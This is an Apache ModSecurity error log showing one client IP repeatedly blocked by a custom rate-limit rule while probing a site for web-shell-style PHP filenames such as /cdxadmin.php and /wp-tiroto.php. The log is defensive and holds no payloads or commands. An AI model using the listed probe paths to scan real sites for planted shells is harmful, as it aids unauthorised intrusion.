[Thu May 07 08:33:23.945045 2026] [:error] [pid 56150:tid 56173] [client 20.104.207.18:63532] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/19.php"] [unique_id "afvd09u4duXJJeTigXTXSAAAAFU"]
[Thu May 07 08:33:24.389554 2026] [:error] [pid 56150:tid 56159] [client 20.104.207.18:63605] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/19.php"] [unique_id "afvd1Nu4duXJJeTigXTXTQAAAEc"]
[Thu May 07 08:33:24.816514 2026] [:error] [pid 56150:tid 56165] [client 20.104.207.18:63574] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/11.php"] [unique_id "afvd1Nu4duXJJeTigXTXUgAAAE0"]
[Thu May 07 08:33:25.263390 2026] [:error] [pid 56150:tid 56156] [client 20.104.207.18:53448] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/11.php"] [unique_id "afvd1du4duXJJeTigXTXVAAAAEQ"]
[Thu May 07 08:33:25.711209 2026] [:error] [pid 56150:tid 56172] [client 20.104.207.18:63580] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/11.php"] [unique_id "afvd1du4duXJJeTigXTXVwAAAFQ"]
[Thu May 07 08:33:26.175699 2026] [:error] [pid 56064:tid 56076] [client 20.104.207.18:63494] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/11.php"] [unique_id "afvd1isGkZZUEf_7QCP6vAAAAAc"]
[Thu May 07 08:33:26.609281 2026] [:error] [pid 56065:tid 56111] [client 20.104.207.18:63537] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/w.php"] [unique_id "afvd1ndV4hYThdnhfxCnyAAAAI8"]
[Thu May 07 08:33:27.064796 2026] [:error] [pid 56065:tid 56103] [client 20.104.207.18:63603] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/w.php"] [unique_id "afvd13dV4hYThdnhfxCnzAAAAIc"]
[Thu May 07 08:33:27.477031 2026] [:error] [pid 56065:tid 56102] [client 20.104.207.18:63520] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/w.php"] [unique_id "afvd13dV4hYThdnhfxCn0QAAAIY"]
[Thu May 07 08:33:27.890115 2026] [:error] [pid 56150:tid 56176] [client 20.104.207.18:63585] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/w.php"] [unique_id "afvd19u4duXJJeTigXTXXAAAAFg"]
[Thu May 07 08:33:28.326371 2026] [:error] [pid 56150:tid 56155] [client 20.104.207.18:53469] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws78.php"] [unique_id "afvd2Nu4duXJJeTigXTXXwAAAEM"]
[Thu May 07 08:33:28.893622 2026] [:error] [pid 56150:tid 56164] [client 20.104.207.18:63517] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws78.php"] [unique_id "afvd2Nu4duXJJeTigXTXYQAAAEw"]
[Thu May 07 08:33:29.322931 2026] [:error] [pid 56065:tid 56117] [client 20.104.207.18:63599] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws78.php"] [unique_id "afvd2XdV4hYThdnhfxCn3gAAAJU"]
[Thu May 07 08:33:29.752730 2026] [:error] [pid 56150:tid 56171] [client 20.104.207.18:53441] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws78.php"] [unique_id "afvd2du4duXJJeTigXTXZAAAAFM"]
[Thu May 07 08:33:30.176994 2026] [:error] [pid 56065:tid 56112] [client 20.104.207.18:63610] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ortasekerli1.php"] [unique_id "afvd2ndV4hYThdnhfxCn4wAAAJA"]
[Thu May 07 08:33:30.603355 2026] [:error] [pid 56066:tid 56128] [client 20.104.207.18:53467] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ortasekerli1.php"] [unique_id "afvd2kYS8DGwDvklLv5wKQAAAMU"]
[Thu May 07 08:33:31.072143 2026] [:error] [pid 56066:tid 56136] [client 20.104.207.18:53460] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ortasekerli1.php"] [unique_id "afvd20YS8DGwDvklLv5wKwAAAM0"]
[Thu May 07 08:33:31.490941 2026] [:error] [pid 56064:tid 56091] [client 20.104.207.18:53464] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ortasekerli1.php"] [unique_id "afvd2ysGkZZUEf_7QCP6xAAAABY"]
[Thu May 07 08:33:31.918585 2026] [:error] [pid 56065:tid 56106] [client 20.104.207.18:53490] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xxx.php"] [unique_id "afvd23dV4hYThdnhfxCn7QAAAIo"]
[Thu May 07 08:33:32.333317 2026] [:error] [pid 56066:tid 56132] [client 20.104.207.18:53468] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xxx.php"] [unique_id "afvd3EYS8DGwDvklLv5wLwAAAMk"]
[Thu May 07 08:33:32.742759 2026] [:error] [pid 56066:tid 56147] [client 20.104.207.18:53475] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xxx.php"] [unique_id "afvd3EYS8DGwDvklLv5wMQAAANg"]
[Thu May 07 08:33:33.170507 2026] [:error] [pid 56066:tid 56145] [client 20.104.207.18:63553] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xxx.php"] [unique_id "afvd3UYS8DGwDvklLv5wMwAAANY"]
[Thu May 07 08:33:33.597653 2026] [:error] [pid 56150:tid 56175] [client 20.104.207.18:53481] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cdxadmin.php"] [unique_id "afvd3du4duXJJeTigXTXcQAAAFc"]
[Thu May 07 08:33:34.040112 2026] [:error] [pid 56066:tid 56139] [client 20.104.207.18:63508] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cdxadmin.php"] [unique_id "afvd3kYS8DGwDvklLv5wNQAAANA"]
[Thu May 07 08:33:34.488863 2026] [:error] [pid 56150:tid 56164] [client 20.104.207.18:63509] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cdxadmin.php"] [unique_id "afvd3tu4duXJJeTigXTXcgAAAEw"]
[Thu May 07 08:33:34.935718 2026] [:error] [pid 56064:tid 56087] [client 20.104.207.18:63565] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cdxadmin.php"] [unique_id "afvd3isGkZZUEf_7QCP6ygAAABI"]
[Thu May 07 08:33:35.360961 2026] [:error] [pid 56150:tid 56157] [client 20.104.207.18:63525] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gecko.php"] [unique_id "afvd39u4duXJJeTigXTXdgAAAEU"]
[Thu May 07 08:33:35.795580 2026] [:error] [pid 56150:tid 56152] [client 20.104.207.18:63591] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gecko.php"] [unique_id "afvd39u4duXJJeTigXTXegAAAEA"]
[Thu May 07 08:33:36.205452 2026] [:error] [pid 56150:tid 56175] [client 20.104.207.18:63550] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gecko.php"] [unique_id "afvd4Nu4duXJJeTigXTXfAAAAFc"]
[Thu May 07 08:33:36.621996 2026] [:error] [pid 56150:tid 56161] [client 20.104.207.18:63569] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gecko.php"] [unique_id "afvd4Nu4duXJJeTigXTXfwAAAEk"]
[Thu May 07 08:33:37.107198 2026] [:error] [pid 56065:tid 56104] [client 20.104.207.18:63552] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fone1.php"] [unique_id "afvd4XdV4hYThdnhfxCn_QAAAIg"]
[Thu May 07 08:33:37.535407 2026] [:error] [pid 56150:tid 56171] [client 20.104.207.18:63491] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fone1.php"] [unique_id "afvd4du4duXJJeTigXTXhQAAAFM"]
[Thu May 07 08:33:37.953204 2026] [:error] [pid 56066:tid 56127] [client 20.104.207.18:63504] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fone1.php"] [unique_id "afvd4UYS8DGwDvklLv5wOQAAAMQ"]
[Thu May 07 08:33:38.366770 2026] [:error] [pid 56066:tid 56134] [client 20.104.207.18:53445] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fone1.php"] [unique_id "afvd4kYS8DGwDvklLv5wOgAAAMs"]
[Thu May 07 08:33:38.789253 2026] [:error] [pid 56066:tid 56141] [client 20.104.207.18:49630] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cilus.php"] [unique_id "afvd4kYS8DGwDvklLv5wPQAAANI"]
[Thu May 07 08:33:39.213134 2026] [:error] [pid 56150:tid 56173] [client 20.104.207.18:63521] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cilus.php"] [unique_id "afvd49u4duXJJeTigXTXjQAAAFU"]
[Thu May 07 08:33:39.628604 2026] [:error] [pid 56150:tid 56161] [client 20.104.207.18:49607] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cilus.php"] [unique_id "afvd49u4duXJJeTigXTXjwAAAEk"]
[Thu May 07 08:33:40.038983 2026] [:error] [pid 56064:tid 56085] [client 20.104.207.18:53491] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cilus.php"] [unique_id "afvd5CsGkZZUEf_7QCP60wAAABA"]
[Thu May 07 08:33:40.450751 2026] [:error] [pid 56064:tid 56086] [client 20.104.207.18:63510] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/adminfuns.php"] [unique_id "afvd5CsGkZZUEf_7QCP61AAAABE"]
[Thu May 07 08:33:40.864936 2026] [:error] [pid 56066:tid 56146] [client 20.104.207.18:53454] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/adminfuns.php"] [unique_id "afvd5EYS8DGwDvklLv5wQQAAANc"]
[Thu May 07 08:33:41.282834 2026] [:error] [pid 56150:tid 56172] [client 20.104.207.18:53456] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/adminfuns.php"] [unique_id "afvd5du4duXJJeTigXTXlwAAAFQ"]
[Thu May 07 08:33:41.739338 2026] [:error] [pid 56150:tid 56154] [client 20.104.207.18:63501] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/adminfuns.php"] [unique_id "afvd5du4duXJJeTigXTXmQAAAEI"]
[Thu May 07 08:33:42.153664 2026] [:error] [pid 56065:tid 56111] [client 20.104.207.18:53446] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tires.php"] [unique_id "afvd5ndV4hYThdnhfxCoBwAAAI8"]
[Thu May 07 08:33:42.576753 2026] [:error] [pid 56065:tid 56097] [client 20.104.207.18:63556] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tires.php"] [unique_id "afvd5ndV4hYThdnhfxCoCwAAAIE"]
[Thu May 07 08:33:42.990867 2026] [:error] [pid 56065:tid 56096] [client 20.104.207.18:53471] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tires.php"] [unique_id "afvd5ndV4hYThdnhfxCoDwAAAIA"]
[Thu May 07 08:33:43.402575 2026] [:error] [pid 56150:tid 56168] [client 20.104.207.18:53401] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tires.php"] [unique_id "afvd59u4duXJJeTigXTXrwAAAFA"]
[Thu May 07 08:33:43.815106 2026] [:error] [pid 56150:tid 56159] [client 20.104.207.18:53463] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-tiroto.php"] [unique_id "afvd59u4duXJJeTigXTXuAAAAEc"]
[Thu May 07 08:33:44.230462 2026] [:error] [pid 56150:tid 56152] [client 20.104.207.18:63557] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-tiroto.php"] [unique_id "afvd6Nu4duXJJeTigXTXvwAAAEA"]
[Thu May 07 08:33:44.649837 2026] [:error] [pid 56150:tid 56162] [client 20.104.207.18:63498] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-tiroto.php"] [unique_id "afvd6Nu4duXJJeTigXTXxQAAAEo"]
[Thu May 07 08:33:45.085970 2026] [:error] [pid 56064:tid 56080] [client 20.104.207.18:63549] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-tiroto.php"] [unique_id "afvd6SsGkZZUEf_7QCP61QAAAAs"]
[Thu May 07 08:33:45.526093 2026] [:error] [pid 56150:tid 56175] [client 20.104.207.18:63529] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a7.php"] [unique_id "afvd6du4duXJJeTigXTX1QAAAFc"]
[Thu May 07 08:33:45.945942 2026] [:error] [pid 56064:tid 56071] [client 20.104.207.18:63522] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a7.php"] [unique_id "afvd6SsGkZZUEf_7QCP61gAAAAI"]
[Thu May 07 08:33:46.376263 2026] [:error] [pid 56064:tid 56070] [client 20.104.207.18:63512] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a7.php"] [unique_id "afvd6isGkZZUEf_7QCP61wAAAAE"]
[Thu May 07 08:33:46.833160 2026] [:error] [pid 56064:tid 56091] [client 20.104.207.18:63571] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a7.php"] [unique_id "afvd6isGkZZUEf_7QCP62QAAABY"]
[Thu May 07 08:33:47.296031 2026] [:error] [pid 56066:tid 56124] [client 20.104.207.18:63551] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/1.php"] [unique_id "afvd60YS8DGwDvklLv5wRAAAAME"]
[Thu May 07 08:33:47.712004 2026] [:error] [pid 56066:tid 56135] [client 20.104.207.18:63604] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/1.php"] [unique_id "afvd60YS8DGwDvklLv5wRQAAAMw"]
